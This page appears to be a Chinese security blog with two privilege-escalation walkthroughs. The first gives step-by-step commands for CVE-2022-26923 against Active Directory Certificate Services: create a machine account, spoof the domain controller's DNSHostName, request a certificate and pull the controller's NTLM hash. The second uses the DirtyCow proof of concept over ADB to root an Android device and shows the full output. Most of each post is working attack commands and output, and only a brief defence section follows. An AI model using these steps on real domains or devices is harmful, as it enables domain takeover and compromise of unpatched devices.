標籤：提權

CVE-2022–26923 AD CS 權限提升

前言

CVE-2022–26923 是一個利用 Machine account 具有 DNSHostName 寫入權限的特性進行提權的弱點，在紅隊演練中非常實用。

0x00 AD CS

AD CS(Active Directory Certification Authority) 是 Windows AD 所提供的憑證基礎設施服務 (PKI)，可以用來管理公司內部的各種憑證(使用者/電腦/網站)。

0x01 弱點成因

Machine account 具有 DNSHostName 的寫入權限，Windows 未對此進行唯一值約束，因此我們可以把 DNSHostName 改的跟 DC 一模一樣。

接著，我們可以透過 AD CS 服務請求憑證，而 Machine account 是使用 DNSHostName 作為簽署對象，因此我們可以簽出一張 DC 的憑證。

最後，透過簽出來的憑證向 Kerberos 請求 DC 的服務票 (Service Ticket)，Kerberos 使用簽屬對象作為身分識別，因此將我們誤會成 DC，讓我們獲得控制 DC 的能力。

0x02 實驗環境

  1. Domain: kuma.org
  2. Domain Controller
    • IP: 192.168.159.128
    • Name: WIN-818G5VCOLJO
  3. 低權限 Domain User
    • 帳號: bear
    • 密碼: 1qaz@WSX3edc

0x03 執行條件

  1. AD 尚未上 Patch
  2. AD 有安裝 CS (Certification Authority) 服務
  3. 擁有 Domain User (低權限)
  4. Domain User 具有建立 Machine Account 的權限與額度(預設:10)

0x04 獲得 Domain Machine Account

1. 本地主機提權後竊取

使用 Mimikatz 拿到 Machine 的 NTLM，之後進行 Pass the hash

2. 使用 Domain User 建立一個 Machine Account

方法一: 使用 bloodyAD

python3 bloodyAD.py -d kuma.org -u bear -p '1qaz@WSX3edc' --host 192.168.159.128 addComputer FakePC01 'Passw0rd'

方法二: 使用 Impacket

impacket-addcomputer "kuma.org/bear:1qaz@WSX3edc" -method LDAPS -computer-name FakePC02\$ -computer-pass Passw0rd -dc-ip 192.168.159.128

0x05 修改 DNSHostName

方法一: 使用 bloodyAD

python3 bloodyAD.py -d kuma.org -u FakePC01$ -p '1qaz@WSX3edc' --host 192.168.159.128 setAttribute 'CN=FakePC01,CN=Computers,DC=kuma,DC=org' DNSHostName '["WIN-818G5VCOLJO.kuma.org"]'

方法二: 使用 AD Explorer

Active Directory Explorer 是微軟推出(併購)的 AD 維護工具

  1. 使用 FakePC02 登入 AD

  2. 因為 DNSHostName 與 ServicePrincipalName 有相依，先移除主機的 ServicePrincipalName 屬性

  3. 接著修改 DNSHostName 屬性

0x06 請求證書

使用 Certipy 請求證書

certipy req 'kuma.org/FakePC01$:[email protected]' -ca 'kuma-CA' -template 'Machine'

0x07 取得 DC 的 NTLM

使用 Certipy 取得 DC NTLM

certipy auth -pfx win-818g5vcoljo.pfx -debug -dc-ip 192.168.159.128

0x08 如何防禦

  1. 打上 Patch
  2. 將使用者的 ms-DS-MachineAccountQuota 改為 0 (暫時性的)
  3. 收回非必要具有寫入 DNS hostname 權限的帳戶

0xFE KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

若 Certipy 在嘗試取得 TGT 時發生 「KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)」，這是因為 KDC 上未啟動 PKInit (Public Key Cryptography for Initial Authentication)

DC 可控

如果我們可以控制 DC (測試環境?)，我們只要在 AD 的群組原則 Computer Configuration -> Administrative Templates (Computers) -> System -> KDC ，將 KDC support for PKInit Freshness Extension 設定為 Enable，即可啟動 PKInit

DC 不可控

可以使用 RBCD (Kerberos Resource-Based Constrained Delegation) 的攻擊手段作為替代。

0xFF 參考

  1. Active Directory Domain Privilege Escalation (CVE-2022–26923)
  2. bloodyAD and CVE-2022-26923

利用 DirtyCow(CVE-2016-5195) 攻擊 Android 裝置


髒牛 DirtyCow(CVE-2016-5195) 是一個威力十足的 Linux 提權弱點，雖然發布時間已有些時日，大多數主機也都修補了這個弱點，但還有一種類型的設備十分容易受到這個弱點的影響，那就是 Android 設備。

在 Android 手機上， DirtyCow 主要作為 root 手機的一種手段，然而 Android 不只用於手機，實際上也用於嵌入式裝置 (IoT/IP Cam 之類的)，這些設備使用 Android 加速其開發與部屬能力，同時間也是較少上 Kernel Patch 的設備，只要找到了 ADB(Android Debug Bridge) 或 Command Injection 之類的弱點，整台設備端去當 Bot 不是夢 (x

DirtyCow 的 Payload 可以透過 NDK (Native Development Kit) 編譯，接著遞送到 Android 設備上。

這邊介紹一個 Git Project – CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android，這個專案是一個在 Android 上利用 DirtyCow 的概念驗證，使用步驟如下

1. 準備一個已經安裝 ADB 與 NDK 的 Linux 電腦

2. 下載專案

cd /tmp

git clone https://github.com/timwr/CVE-2016-5195.git

cd /tmp/CVE-2016-5195

3. ADB 連接裝置 (此處使用 10.10.10.10:5555 為例)

adb connect 10.10.10.10:5555
adb devices

若連接成功會顯示下列訊息

List of devices attached
10.10.10.10:5555    device

4. 編譯並利用弱點

make root

執行結果如下

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=arm64-v8a APP_PLATFORM=android-22
make[1]: Entering directory '/keniver/tmp/CVE-2016-5195'
[arm64-v8a] Install        : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install        : run-as => libs/arm64-v8a/run-as
make[1]: Leaving directory '/keniver/tmp/CVE-2016-5195'
adb push libs/arm64-v8a/dirtycow /data/local/tmp/dcow
libs/arm64-v8a/dirtycow: 1 file pushed. 0.4 MB/s (14320 bytes in 0.031s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/arm64-v8a/run-as /data/local/tmp/run-as
libs/arm64-v8a/run-as: 1 file pushed. 0.6 MB/s (10224 bytes in 0.017s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6ffffffe arg 0xa38
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6fffffff arg 0x1
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (10224) and destination file size (9768) differ

corruption?

[*] size 10224
[*] mmap 0x7faac2b000
[*] currently 0x7faac2b000=10102464c457f
[*] using /proc/self/mem method
[*] madvise = 0x7faac2b000 10224
[*] madvise = 0 16777216
[*] /proc/self/mem 447381792 43758
[*] exploited 0 0x7faac2b000=10102464c457f

5. 提權成為 root

透過 adb shell 執行 id ，確認自己目前的帳號與群組

adb shell id

結果如下

uid=2000(shell) gid=2000(shell) groups=1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

執行下列指令進行提權

adb shell /system/bin/run-as

結果如下

WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6ffffffe arg 0x788
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6fffffff arg 0x2
uid /system/bin/run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0
root@msm8952_64:/ # id
id
uid=0(root) gid=0(root) groups=1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

變成 root 啦～

障礙排除

1. error: no devices/emulators found

adb 沒有連接到任何裝置，可以通過 adb devices 檢查一下有無正常連線

2. make: ndk-build: No such file or directory

電腦尚未安裝 NDK 或者 沒有正確設定 NDK 到 PATH